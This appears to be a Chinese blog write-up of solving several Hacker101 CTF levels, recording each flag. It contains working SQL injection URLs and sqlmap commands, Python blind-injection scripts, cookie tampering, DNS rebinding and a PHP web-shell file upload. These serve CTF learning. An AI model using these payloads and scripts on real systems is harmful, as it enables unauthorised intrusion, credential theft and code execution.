摘要:记录一下hacker101的通过记录

Moderate_Grayhatcon CTF

这道题目挺无脑的,一点思路没有。看了writeup后才会......

flag1

类型:未授权访问

首先创建一个用户(aaaa),记住这里的Account Hash

hacker101-ctf-通关记录(二)1.png

然后进入子用户注册界面,创建一个子用户,抓包。

发现owner_hash就是用户aaaa的Account Hash

hacker101-ctf-通关记录(二)2.png

回到用户登录界面,点击忘记密码。然后用户名输入hunter2(爆破得到的)。

hacker101-ctf-通关记录(二)3.png

抓包得到了hunter2用户的Account Hash(cf505baebbaf25a0a4c63eb93331eb36)

hacker101-ctf-通关记录(二)4.png

回到新用户注册界面。新注册一个用户,用户名为user,密码为password。然后抓包。

hacker101-ctf-通关记录(二)5.png

hacker101-ctf-通关记录(二)6.png

对比子用户注册界面和新用户注册界面,在新用户注册的包里添加owner_hash=cf505baebbaf25a0a4c63eb93331eb36
目的是越权为hunter2添加一个子用户

hacker101-ctf-通关记录(二)7.png

使用新创建的用户user登录,得到flag1。

hacker101-ctf-通关记录(二)8.png

flag2

类型:敏感信息泄露漏洞、源IP地址伪造

访问https://xxxxxx.ctf.hacker101.com/robots.txt,发现有个s3cr3t-4dm1n目录。

hacker101-ctf-通关记录(二)9.png

访问https://xxxxxx.ctf.hacker101.com/s3cr3t-4dm1n/,提示403 Forbidden。

爆破目录得到https://xxxxxx.ctf.hacker101.com/s3cr3t-4dm1n/.htaccess

查看.htaccess文件,内容如下:

Order Deny,Allow
Deny from all
Allow from 8.8.8.8
Allow from 8.8.4.4

很明显考察的是X-Forwarded-For源IP地址伪造。

hacker101-ctf-通关记录(二)10.png

但是拿不到flag2。看别人的writeup,是可以拿到的。

flag3

类型:越权

回到flag1,我们利用未授权访问为hunter2添加一个子用户user。

但是该子用户在等待hunter2激活。

hacker101-ctf-通关记录(二)11.png

这里直接去aaaa用户的的子用户界面,点击enbale,抓包。
可以看到数据包里面的hash字段是aaaa的子用户dduser2的Account Hash。

hacker101-ctf-通关记录(二)12.png

用hunter2的子用户user的Account Hash(d9e4103dcda32a5083c7143127e07788)替换aaaa的子用户dduser2的Account Hash。

hacker101-ctf-通关记录(二)13.png

成功激活user用户。得到flag3。

hacker101-ctf-通关记录(二)14.png

flag4

类型:sql注入、源IP地址伪造

burpsuite嗅探到一个疑似有sql漏洞的api接口。

hacker101-ctf-通关记录(二)15.png

sqlmap一把梭

payload:

sqlmap -r http_request.txt -p id --dbs --random-agent --force-ssl --batch -o

hacker101-ctf-通关记录(二)16.png

sqlmap -r http_request.txt -p id --random-agent --force-ssl --batch -o -D "hackerbay" --tables

hacker101-ctf-通关记录(二)17.png

sqlmap -r http_request.txt -p id --random-agent --force-ssl --batch -o -D "hackerbay" -T "auction_type" --dump

hacker101-ctf-通关记录(二)18.png

emmmmm没注入出来。于是去看看writeup。

payload:
获取数据库中的所有表名,发现有个admin表。

https://xxxxxx.ctf.hacker101.com/dashboard/auctions/questions?id=0 union select '0 union select table_name,2,3,4,5,8,7,8,9 from information_schema.tables','[1]','[1]'--

hacker101-ctf-通关记录(二)19.png

获取表中的列名

https://xxxxxx.ctf.hacker101.com/dashboard/auctions/questions?id=0 union select '0 union select column_name,2,3,4,5,6,7,8,9 from information_schema.columns where table_name="admin"','[1]','[1]'--

hacker101-ctf-通关记录(二)20.png

根据列名,获取表中的数据

https://xxxxxxx.ctf.hacker101.com/dashboard/auctions/questions?id=0 union select '0 union select username,2,3,4,5,password,7,8,9 from admin','[1]','[1]'--

hacker101-ctf-通关记录(二)21.png

获取到一个账户,用户名:h4ckerbayadmin 密码:auction$rFun!。接着就是利用访问flag2中的源IP地址伪造登录https://xxxxxx.ctf.hacker101.com/s3cr3t-4dm1n/。由于flag2中无法伪造,就不再进行下去了,拿不到flag4。

备注

不知道为什么sqlmap无法发现admin表。后面我又试着手动指定admin表,依旧无法注入出来。

payload:

sqlmap -r http_rquest.txt -p id --random-agent --force-ssl --batch -o -D "hackerbay" -T "admin" --dump

hacker101-ctf-通关记录(二)22.png

太奇怪了。

Moderate_RTFM

开局给了提示,直接爆破路径。

hacker101-ctf-通关记录(二)23.png

爆破url路径得到以下路径:

https://xxxxxx.ctf.hacker101.com/api/v1/config
https://xxxxxx.ctf.hacker101.com/api/v1/secrets
https://xxxxxx.ctf.hacker101.com/api/v1/status
https://xxxxxx.ctf.hacker101.com/api/v1/user

flag1

类型:未授权访问

直接访问https://xxxxxx.ctf.hacker101.com/api/v1/config,得到flag1。

hacker101-ctf-通关记录(二)24.png

这里补充个点,关于RESTful接口规范,详细参考一文搞懂RESTful API

flag2

类型:未授权访问

测试/api/v1/user接口,返回{"error":"X-Token header authentication missing"}

hacker101-ctf-通关记录(二)25.png

将GET方法换成POST方法,提示{"error":"Missing username and password field"}

hacker101-ctf-通关记录(二)26.png

这里添加Content-Type: application/x-www-form-urlencodedusername=demo&password=demo,得到了flag2。记住这里的/api/v1/user/login

hacker101-ctf-通关记录(二)27.png

flag3

类型:未授权访问、本地跨站请求伪造

flag2返回了一个/api/v1/user/login。用前面创建的用户名和密码,登录/api/v1/user/login接口。

hacker101-ctf-通关记录(二)28.png

发现返回了一个token,联系flag1中的X-Token。再试试/api/v1/user接口。

hacker101-ctf-通关记录(二)29.png

可以看到token是可以用的。到这一步我就就卡住了。后面翻了writeup才知道,同时也发现了这是RESTful接口。

将POST方法换成PUT方法,发现接口返回{"error":"No updatable fields supplied"}

hacker101-ctf-通关记录(二)30.png

接下来就是fuzz了。fuzz出一个参数avatar。

hacker101-ctf-通关记录(二)31.png

然后参考writeup,发现还有一个接口/api/v1/secrets没有利用。利用本地跨站请求伪造,由此得到flag3。

hacker101-ctf-通关记录(二)32.png

flag4

类型:未授权访问

暴力破解url路径获得/api/v1/status接口的GET请求参数verbos。由此得到flag4。

hacker101-ctf-通关记录(二)33.png

flag5

类型:未授权访问

暴力破解url路径获得/api/v2/swagger.json接口。由此得到flag5。

hacker101-ctf-通关记录(二)34.png

flag6

类型:未授权访问

前面的/api/v2/swagger.json实际上是一个api接口文档,里面有一个/api/v2/admin/user-list接口。
访问该接口得到flag6。

hacker101-ctf-通关记录(二)35.png

flag7

类型:未授权访问

这个也不会了,看下writeup。/api/v2/swagger.json接口文档中有个/api/v2/user/posts/{id}接口。

然后把/api/v2/user/posts/{id}接口中的v2换成v1为怎么样呢?得到flag7。注意返回结果中的的/api/v1/post-analytics/3c8a6664b8203c2e0b2b24972ccf5ce3接口,下面要考。

hacker101-ctf-通关记录(二)36.png

flag8

类型:未授权访问、路径遍历

flag8,我也看不懂啊。看了作者给的hint也没明白。

作者给的hint:Take a close look at the returned headers from all of your endpoints, is there anything different about one of them? Maybe theres a second server somewhere? Possibly we can get access to things higher up...,确实Server-Name和上面其他的不一样。

hacker101-ctf-通关记录(二)37.png

然后没有下一步了。看了writeup是目录遍历,这谁能想到呢。

hacker101-ctf-通关记录(二)38.png

Moderate_Hackyholidays CTF

flag1

类型:敏感文件泄露

访问https://xxxxxx.ctf.hacker101.com/robots.txt,得到flag1。

hacker101-ctf-通关记录(二)39.png

flag2

访问robots.txt中得到的url链接,https://xxxxxx.ctf.hacker101.com/s3cr3t-ar3a
查看源代码得到flag2。同时得到一个url链接https://xxxxxx.ctf.hacker101.com/apps-home/

hacker101-ctf-通关记录(二)40.png

访问url链接,得到8道题目。

hacker101-ctf-通关记录(二)41.png

flag3-People Rater

进入第一关People Rater。访问首页,点击Tea Avery,抓包。

hacker101-ctf-通关记录(二)42.png

发现其中id=eyJpZCI6NH0=,eyJpZCI6NH0=是{"id":4}的base64编码。根据题目提示,名单上少了一个人。将eyJpZCI6NH0=更改为{"id":1}的base64编码eyJpZCI6MX0=,得到flag3。

hacker101-ctf-通关记录(二)43.png

flag4-Swag Shop

类型:未授权访问漏洞

暴力破解url路径得到https://xxxxxx.ctf.hacker101.com/swag-shop/api/sessions/

hacker101-ctf-通关记录(二)44.png

hacker101-ctf-通关记录(二)45.png

{"sessions":["eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE1qUTNZMlJtWTJFMk4yRm1NemRqTTJJMFpXTmxaVFZrTTJWa056VTNNVFV3WWpka1l6a3lOV0k0WTJJM1pXWmlOamsyTjJOak9UazBNalU9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJaak0yTXpOak0ySmtaR1V5TXpWbU1tWTJaamN4TmpkbE5ETm1aalF3WlRsbVkyUmhOall4TldNNVkyWTFaalkyT0RVM05qa3hNVFEyTnprMFptSXhPV1poTjJaaFpqZzBZMkU1TnprMU5UUTJNek16WlRjME1XSmxNelZoWkRBME1EVXdZbVEzTkRsbVpURTRNbU5rTWpNeE16VTBNV1JsTVRKaE5XWXpPR1E9In0=","eyJ1c2VyIjoiQzdEQ0NFLTBFMERBQi1CMjAyMjYtRkM5MkVBLTFCOTA0MyIsImNvb2tpZSI6Ik5EVTBPREk1TW1ZM1pEWTJNalJpTVdFME1tWTNOR1F4TVdFME9ETXhNemcyTUdFMVlXUmhNVGMwWWpoa1lXRTNNelUxTWpaak5EZzVNRFEyWTJKaFlqWTNZVEZoWTJRM1lqQm1ZVGs0TjJRNVpXUTVNV1E1T1dGa05XRTJNakl5Wm1aak16WmpNRFEzT0RrNVptSTRaalpqT1dVME9HSmhNakl3Tm1Wa01UWT0ifQ==","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRFJtWVRCaE4yRmlOalk1TUdGbE9XRm1ZVEU0WmpFMk4ySmpabVl6WldKa09UUmxPR1l3TWpJMU9HSXlOak0xT0RVME5qYzJZVGRsWlRNNE16RmlNMkkxTVRVek16VmlNakZoWXpWa01UYzRPREUzT0dNNFkySmxPVGs0TWpKbE1ESTJZalF6WkRReE1HTm1OVGcxT0RReFpqQm1PREJtWldReFptRTFZbUU9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNMlEyTURJek5EZzVNV0UwTjJNM05ESm1OVEl5TkdNM05XVXhZV1EwTkRSbFpXSTNNVGc0TWpJM1pHUmtNVGxsWlRNMlpEa3hNR1ZsTldFd05tWmlaV0ZrWmpaaE9EZzRNRFkzT0RsbVpHUmhZVE0xWTJJeU1HVmhNakExTmpkaU5ERmpZekJoTVdRNE5EVTFNRGM0TkRFMVltSTVZVEpqT0RCa01qRm1OMlk9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNV1kzTVRBek1UQmpaR1k0WkdNd1lqSTNaamsyWm1Zek1XSmxNV0V5WlRnMVl6RTBNbVpsWmpNd1ltSmpabVE0WlRVMFkyWXhZelZtWlRNMU4yUTFPRFkyWWpGa1ptRmlObUk1WmpJMU0yTTJNRFZpTmpBMFpqRmpORFZrTlRRNE4yVTJPRGRpTlRKbE1tRmlNVEV4T0RBNE1qVTJNemt4WldOaE5qRmtObVU9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRE00WXpoaU4yUTNNbVkwWWpVMk0yRmtabUZsTkRNd01USTVNakV5T0RobE5HRmtNbUk1T1RjeU1EbGtOVEpoWlRjNFlqVXhaakl6TjJRNE5tUmpOamcyTm1VMU16VmxPV0V6T1RFNU5XWXlPVGN3Tm1KbFpESXlORGd5TVRBNVpEQTFPVGxpTVRZeU5EY3pOakZrWm1VME1UZ3hZV0V3TURVMVpXTmhOelE9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJPR0kzTjJFeE9HVmpOek0xWldWbU5UazJaak5rWmpJd00yWmpZemRqTVdOaE9EZzRORGhoT0RSbU5qSTBORFJqWlRkbFpUZzBaVFV3TnpabVpEZGtZVEpqTjJJeU9EWTVZamN4Wm1JNVpHUmlZVGd6WmpoaVpEVmlPV1pqTVRWbFpEZ3pNVEJrTnpObU9ESTBPVE01WkRNM1kySmpabVk0TnpFeU9HRTNOVE09In0="]}

一看就是base64编码,解码。

{
  "user": null,
  "cookie": "YzVmNTJiYTNkOWFlYTY2YjA1ZTY1NDBlNmI0YmZjMmNmZGYzMzg1MWJkZDcyMzY0ZTFlYjdmNDY3NDkzNzIwMGNiZjNhMjQ3Y2RmY2E2N2FmMzdjM2I0ZWNlZTVkM2VkNzU3MTUwYjdkYzkyNWI4Y2I3ZWZiNjk2N2NjOTk0MjU="
}
{
  "user": null,
  "cookie": "ZjM2MzNjM2JkZGUyMzVmMmY2ZjcxNjdlNDNmZjQwZTlmY2RhNjYxNWM5Y2Y1ZjY2ODU3NjkxMTQ2Nzk0ZmIxOWZhN2ZhZjg0Y2E5Nzk1NTQ2MzMzZTc0MWJlMzVhZDA0MDUwYmQ3NDlmZTE4MmNkMjMxMzU0MWRlMTJhNWYzOGQ="
}
{
  "user": "C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
  "cookie": "NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YWRhMTc0YjhkYWE3MzU1MjZjNDg5MDQ2Y2JhYjY3YTFhY2Q3YjBmYTk4N2Q5ZWQ5MWQ5OWFkNWE2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="
}
{
  "user": null,
  "cookie": "MDRmYTBhN2FiNjY5MGFlOWFmYTE4ZjE2N2JjZmYzZWJkOTRlOGYwMjI1OGIyNjM1ODU0Njc2YTdlZTM4MzFiM2I1MTUzMzViMjFhYzVkMTc4ODE3OGM4Y2JlOTk4MjJlMDI2YjQzZDQxMGNmNTg1ODQxZjBmODBmZWQxZmE1YmE="
}
{
  "user": null,
  "cookie": "M2Q2MDIzNDg5MWE0N2M3NDJmNTIyNGM3NWUxYWQ0NDRlZWI3MTg4MjI3ZGRkMTllZTM2ZDkxMGVlNWEwNmZiZWFkZjZhODg4MDY3ODlmZGRhYTM1Y2IyMGVhMjA1NjdiNDFjYzBhMWQ4NDU1MDc4NDE1YmI5YTJjODBkMjFmN2Y="
}
{
  "user": null,
  "cookie": "MWY3MTAzMTBjZGY4ZGMwYjI3Zjk2ZmYzMWJlMWEyZTg1YzE0MmZlZjMwYmJjZmQ4ZTU0Y2YxYzVmZTM1N2Q1ODY2YjFkZmFiNmI5ZjI1M2M2MDViNjA0ZjFjNDVkNTQ4N2U2ODdiNTJlMmFiMTExODA4MjU2MzkxZWNhNjFkNmU="
}
{
  "user": null,
  "cookie": "MDM4YzhiN2Q3MmY0YjU2M2FkZmFlNDMwMTI5MjEyODhlNGFkMmI5OTcyMDlkNTJhZTc4YjUxZjIzN2Q4NmRjNjg2NmU1MzVlOWEzOTE5NWYyOTcwNmJlZDIyNDgyMTA5ZDA1OTliMTYyNDczNjFkZmU0MTgxYWEwMDU1ZWNhNzQ="
}
{
  "user": null,
  "cookie": "OGI3N2ExOGVjNzM1ZWVmNTk2ZjNkZjIwM2ZjYzdjMWNhODg4NDhhODRmNjI0NDRjZTdlZTg0ZTUwNzZmZDdkYTJjN2IyODY5YjcxZmI5ZGRiYTgzZjhiZDViOWZjMTVlZDgzMTBkNzNmODI0OTM5ZDM3Y2JjZmY4NzEyOGE3NTM="
}

发现用户C7DCCE-0E0DAB-B20226-FC92EA-1B9043。然后爆破url路径得到https://xxxxxx.ctf.hacker101.com/swag-shop/api/user/?uuid=,传入C7DCCE-0E0DAB-B20226-FC92EA-1B9043得到flag4。

hacker101-ctf-通关记录(二)46.png

flag5-Secure Login

类型:弱口令、越权

暴力破解密码得到一个用户,用户名: access,密码: computer。

能录之后,发现cookie中的securelogin字段是先base64编码,再urlencode编码的。

hacker101-ctf-通关记录(二)47.png

解码之后

{"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":false}

将false改为true,然后重新进行base64编码,再urlencode编码。得到:

eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjp0cnVlfQ%3D%3D

写入cookie,然后刷新界面,发现有个压缩包。

hacker101-ctf-通关记录(二)48.png

下载压缩包,然后用hashcat破解后,密码为hahahaha,得到flag5。

hacker101-ctf-通关记录(二)49.png

flag6-My Diary

类型:str_replace函数过滤不当

疑似注入点template=entries.html

hacker101-ctf-通关记录(二)50.png

fuzz后得到一个源码。

hacker101-ctf-通关记录(二)51.png

简单看后利用利用str_replace只替换一次进行绕过
payload:

https://xxxxxx.ctf.hacker101.com/my-diary/?template=secretadmsecretadadmin.phpmin.phpin.php

得到flag6。

hacker101-ctf-通关记录(二)52.png

flag7-Hate Mail Generator

类型:文件包含

进入首页,发现有个{{template:cbdj3_grinch_header.html}}

hacker101-ctf-通关记录(二)53.png

看着像文件包含,新创建一封邮件试一下。

hacker101-ctf-通关记录(二)54.png

报错如下:

hacker101-ctf-通关记录(二)55.png

根据报错,访问一下http://xxxxxx.ctf.hacker101.com/hate-mail-generator/templates/路径。
发现了一个名为38dhs_admins_only_header.html的文件。点击访问提示403。

hacker101-ctf-通关记录(二)56.png

试着文件包含38dhs_admins_only_header.html

hacker101-ctf-通关记录(二)57.png

提示没有文件访问权限。

hacker101-ctf-通关记录(二)58.png

手动进行fuzz。

hacker101-ctf-通关记录(二)59.png

发现莫名奇妙出现个Alice。

hacker101-ctf-通关记录(二)60.png

查找源码,Alice发现出现在preview_data参数中。

hacker101-ctf-通关记录(二)61.png

于是新建一封邮件,点击preview按钮,进行抓包。

hacker101-ctf-通关记录(二)62.png

然后用{{template:38dhs_admins_only_header.html}}替换Alice进行尝试。
payload如下:

preview_markup=%7B%7Bname%7D%7Dtest3&preview_data=%7b%22name%22%3a%22%7b%7btemplate%3a38dhs_admins_only_header.html%7d%7d%22%2c%22email%22%3a%22alice%40test.com%22%7d

hacker101-ctf-通关记录(二)63.png

得到flag7。

hacker101-ctf-通关记录(二)64.png

flag8-Grinch Forum

类型:敏感信息泄露

暴力破解url路径得到了一个phpmyadmin的登录地址https://xxxxxx.ctf.hacker101.com/forum/phpmyadmin/。然后卡死了,弱口令试过了试不出来。看了witeup是考敏感信息的泄露的题目。

hacker101-ctf-通关记录(二)65.png

首先首页有个"You need to be an admin to view these posts"

hacker101-ctf-通关记录(二)66.png

然后去github搜索关键字"You need to be an admin to view these posts",发现源码。

hacker101-ctf-通关记录(二)67.png

查看commit记录,发现数据库的密码。用户名:forum,密码:6HgeAZ0qC9T6CQIqJpD。

hacker101-ctf-通关记录(二)68.png

登录phpmyadmin,发现管理员的账户。使用hashcat破解得到,用户名:grinch,密码:BahHumbug。

hacker101-ctf-通关记录(二)69.png

使用管理员账户密码登录,得到flag8:

hacker101-ctf-通关记录(二)70.png

flag9-Evil Quiz

类型:sql二次注入

测试时间盲注

' or sleep(5) #

hacker101-ctf-通关记录(二)71.png

sleep函数被过滤了。

hacker101-ctf-通关记录(二)72.png

使用slesleepep绕过过滤

' or slesleepep(5) # 

可以观察到"https://xxxxxx.ctf.hacker101.com/evil-quiz/score/"延迟加载了5秒。时间盲注成功。

hacker101-ctf-通关记录(二)73.png

然后使用union联合查询注入,测试显示位。

bbb' union select 1,2,3 #

hacker101-ctf-通关记录(二)74.png

提示There is 0 other player(s) with the same name as you!,正常情况下应该是There is 1 other player(s) with the same name as you!,说明显示位的数目不对。

再加一个显示位,提示There is 1 other player(s) with the same name as you!,说明显示位有4列。

bbb' union select 1,2,3,4 #

hacker101-ctf-通关记录(二)75.png

因为是盲注,这里测试下盲注的where条件。

bbb' union select 1,2,3,4 from admin where 1=1 #
bbb' union select 1,2,3,4 from admin where 1=0 #

hacker101-ctf-通关记录(二)76.png

hacker101-ctf-通关记录(二)77.png

可以看到当where条件为真时,页面返回There is 1 other player(s) with the same name as you!。条件为假时,页面返回There is 0 other player(s) with the same name as you!.

payload:

bbb' union select 1,2,3,4 from admin where username ='admin' and ord(substr(password, 1, 1))=1

python3脚本如下:

#!/usr/bin/env python3
import requests

url='https://xxxxxx.ctf.hacker101.com/evil-quiz'

alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-=!"£$%^&*()_+[];#,./{}:@~<>?'

headers = {
    "cookie": "quizsession=89aa086a5abdfe135d650c361de8a6d1"
}

def attack(password):
    index = len(password)+1
    for letter in alphabet:

        data = {'name': "bbb' union select 1,2,3,4 from admin where username ='admin' and ord(substr(password, %d, 1))=%d #" % (index, ord(letter))}

        r = requests.post(url + '/',  headers=headers, data=data)
        r = requests.get(url + '/score/', headers=headers)

        if 'There is 1 other' in r.text:

            return password + letter

    return password

password=''
while True:
    np=attack(password)
    print(np)
    if np == password:
        print("Password found: '%s'" % (password))
        break
    password=np

通过盲注得到admin用户,用户名:admin 密码:S3creT_p4ssw0rd-$。

登录admin用户,得到flag9。

hacker101-ctf-通关记录(二)78.png

flag10-SignUp Manager

类型:敏感文件泄露、用户输入过滤不当

url暴力破解得到2个路径

https://xxxxxx.ctf.hacker101.com/signup-manager/README.md
https://xxxxxx.ctf.hacker101.com/signup-manager/signupmanager.zip

在README.md中找到提示You can make anyone an admin by changing the last character in the users.txt file to a Y

再看signupmanager.zip中的index.php

function buildUsers(){
    $users = array();
    $users_txt = file_get_contents('users.txt');
    foreach( explode(PHP_EOL,$users_txt) as $user_str ){
        if( strlen($user_str) == 113 ) {
            $username = str_replace('#', '', substr($user_str, 0, 15));
            $users[$username] = array(
                'username' => $username,
                'password' => str_replace('#', '', substr($user_str, 15, 32)),
                'cookie' => str_replace('#', '', substr($user_str, 47, 32)),
                'age' => intval(str_replace('#', '', substr($user_str, 79, 3))),
                'firstname' => str_replace('#', '', substr($user_str, 82, 15)),
                'lastname' => str_replace('#', '', substr($user_str, 97, 15)),
                'admin' => ((substr($user_str, 112, 1) === 'Y') ? true : false)
            );
        }
    }
    return $users;
}

意味着,只要把一行的最后一个字母置为Y就能获得管理员权限。

在index.php中找到age的这段代码,

function addUser($username,$password,$age,$firstname,$lastname){
    $random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
    $line = '';
    $line .= str_pad( $username,15,"#");
    $line .= $password;
    $line .= $random_hash;
    $line .= str_pad( $age,3,"#");
    $line .= str_pad( $firstname,15,"#");
    $line .= str_pad( $lastname,15,"#");
    $line .= 'N';
    $line = substr($line,0,113);
    file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
    return $random_hash;
}

$password = md5($_POST["password"]);
$firstname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["firstname"]), 0, 15);
if (strlen($firstname) < 3) {
    $errors[] = 'First name must by at least 3 characters';
}
$lastname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["lastname"]), 0, 15);
if (strlen($lastname) < 3) {
    $errors[] = 'Last name must by at least 3 characters';
}
if (!is_numeric($_POST["age"])) {
    $errors[] = 'Age entered is invalid';
}
if (strlen($_POST["age"]) > 3) {
    $errors[] = 'Age entered is too long';
}
$age = intval($_POST["age"]);
$cookie = addUser($username, $password, $age, $firstname, $lastname);

$_POST["age"]设置为1e3,lastname设置为YYYYYYYYYYYYYYYYYYYYYYYY,即可绕过。因为$line .= str_pad( $age,3,"#")会将1e3转化为字符串"1000",多了一位字符串,lastname会被向后挤一位。如果lastname的最后一个字母刚好是Y,就会获得管理员权限。

hacker101-ctf-通关记录(二)79.png

登录即可得flag10。

hacker101-ctf-通关记录(二)80.png

flag11-SignUp Manager

类型:sql注入、本地跨站请求伪造、目录遍历

在上一关,得到flag10界面,点击"here",进入flag11。

hacker101-ctf-通关记录(二)81.png

看图片像是sql注入

payload:

sqlmap -u "https://xxxxxx.ctf.hacker101.com/r3c0n_server_4fdk59/album/?hash=jdh34k" --dump --random-agent --force-ssl --batch --ignore-code=500 --risk 3  --level 5 -o -p hash  -t 4

hacker101-ctf-通关记录(二)82.png

注入出来两个数据库:

hacker101-ctf-通关记录(二)83.png

hacker101-ctf-通关记录(二)84.png

貌似没有啥有用的信息,然后就没啥思路。后面看了writeup。

题目中的图片链接都是

https://xxxxxx.ctf.hacker101.com/r3c0n_server_4fdk59/picture/?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzBhMzgyYzYxNzdiMDQzODZlMWE0NWNlZWFhODEyZTRlLmpwZyIsImF1dGgiOiJlYzVhOTkyMGUxNzdjY2M4NDk3NDE0NmY5M2FlMDRiMCJ9

其中data参数是base64编码形式,解码后得到

{"image":"r3c0n_server_4fdk59\/uploads\/0a382c6177b04386e1a45ceeaa812e4e.jpg","auth":"ec5a9920e177ccc84974146f93ae04b0"}

这里的image有路径,所以可以使用文件包含或者跨站请求伪造。但是没有auth,会提示invalid authentication hash。这个时候就要利用前面发现的sql注入了。

根据前面的sqlmap注出的数据库,推测sql语句如下

//通过hash从album表获取album的id
select id,hash,name from album where hash=?;

//通过album_id从photo表获取到photo的名字
select id,album_id,photo from photo where album_id=?;

所以构造sql注入语句如下:

ddddd' union select "10' union select 1,1,\"0a382c6177b04386e1a45ceeaa812e4e.jpg\";-- ",1,1;#

返回图片:

hacker101-ctf-通关记录(二)85.png

可以控制变量名字后,进行本地跨站请求伪造。根据前面的r3c0n_server_4fdk59/uploads/0a382c6177b04386e1a45ceeaa812e4e.jpg,应该相对于uploads文件夹使用../本地跨站请求伪造。

接下来又是爆破api了

下面是我的爆破记录:

参数:asdasd' union select "10' union select 1,1,\"../apii\"-- ",1,1;#
返回响应:Expected HTTP status 200, Received: 404

参数:asdasd' union select "10' union select 1,1,\"../api/user\";-- ",1,1;#
返回响应:Invalid content type detected

参数:asdasd' union select "10' union select 1,1,\"../api/user?ccccccc\";-- ",1,1;#
返回响应:
Expected HTTP status 200, Received: 400
Invalid GET/POST variable

参数:asdasd' union select "10' union select 1,1,\"../api/user?username\";-- ",1,1;#
返回响应:Expected HTTP status 200, Received: 204


//%25为%号,用作模糊匹配。
参数:asdasd' union select "10' union select 1,1,\"../api/user?username=%25\";-- ",1,1;#
返回响应:Invalid content type detected

参数:asdasd' union select "10' union select 1,1,\"../api/user?username=dddd%25\";-- ",1,1;#
返回响应:Expected HTTP status 200, Received: 204

参数:asdasd' union select "10' union select 1,1,\"../api/user?username=grin%25\";-- ",1,1;#
返回响应:Invalid content type detected

参数:asdasd' union select "10' union select 1,1,\"../api/user?username=grinchadmin%25\";-- ",1,1;#
返回响应:Invalid content type detected

python3脚本如下:

#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup as BSHTML

start=''
alphabet='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-'

def guess(start):
    for letter in alphabet:
        attempt=start+letter
        url = f'''https://97c50f8e42220ce37c83548021167260.ctf.hacker101.com/r3c0n_server_4fdk59/album?hash=asdasd%27%20UNION%20SELECT%20%224%27%20UNION%20SELECT%201,1,\%22../api/user%3Fusername={attempt}%25\%22;/*%22,1,1;/*'''

        r = requests.get(url)

        soup = BSHTML(r.text, "html.parser")
        images = soup.findAll('img')
        r = requests.get("https://97c50f8e42220ce37c83548021167260.ctf.hacker101.com/r3c0n_server_4fdk59/" + images[1]["src"][3:])
        print(r.text)
        
        if len(r.text) != 39:
            print("attempt", attempt)
            return attempt
    return start

updated=guess(start)
while updated != start:
    start = updated
    updated=guess(start)
    print("nearly there: " + updated)

print("found: " + updated)

最终得到账户为:grinchadmin,密码为:s4nt4sucks。

登录得到flag11。

hacker101-ctf-通关记录(二)86.png

flag12-SignUp Manager

类型:dns绑定重定向

flag11登录后台后,出现flag12题目。

hacker101-ctf-通关记录(二)87.png

查看网页源代码发现base64编码。

eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==

解码得:

{"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}

通过hashcat暴力破解hash,得到hash的加密方式为md5("mrgrinch4637f000001.c0a80001.rbndr.us)

然后就没思路了,根据其他人的writeup,才知道是dns绑定重定向。目的是利用dns绑定重定向攻击,让电脑自己ddos自己,这样就能拿到flag。

假如
第一步:Getting Host Information 获取到的ip地址是203.0.113.33。
第二步:Launching attack against 获取到的ip地址是127.0.0.1
这样就能实现让电脑自己ddos自己了。

hacker101-ctf-通关记录(二)88.png

这时如果有一个域名,其A记录以极快的速度在203.0.113.33和127.0.0.1切换就行了。github上面有现成的项目rbndr

payload:

//cb0071d5.7f000001.rbndr.us这个域名的解析会在203.0.113.53和127.0.0.1这两个ip地址之前切换。
{"target":"cb0071d5.7f000001.rbndr.us","hash":"51a799c562ed548d5ce9c8f4d1e71455"}

但是不知道为啥,得不到flag。

hacker101-ctf-通关记录(二)89.png

备注

这里总结一下爆破api接口的经验,以flag4中爆破url路径https://xxxxxx.ctf.hacker101.com/swag-shop/api/user/?uuid=为例子。

url路径错误 http状态码:404、302
url路径正确 参数错误 http状态码:400
url路径正确 参数正确 http状态码:200、204

hacker101-ctf-通关记录(二)90.png

hacker101-ctf-通关记录(二)91.png

hacker101-ctf-通关记录(二)92.png

hacker101-ctf-通关记录(二)93.png

hacker101-ctf-通关记录(二)94.png

hacker101-ctf-通关记录(二)95.png

hacker101-ctf-通关记录(二)96.png

Moderate_Y2FuIHlvdSByZWNvbj8/

类型:文件上传、路径遍历

没啥好说的就是文件上传,用.phtml后缀绕过对.php后缀的限制。
payload:

------WebKitFormBoundaryg5wwZi87Ee3BqfFN
Content-Disposition: form-data; name="filename"

../test.phtml
------WebKitFormBoundaryg5wwZi87Ee3BqfFN
Content-Disposition: form-data; name="upload"; filename="test.phtml"
Content-Type: image/png

<?php

$out=shell_exec('cat ../flags.txt');
echo $out;

?>
------WebKitFormBoundaryg5wwZi87Ee3BqfFN--
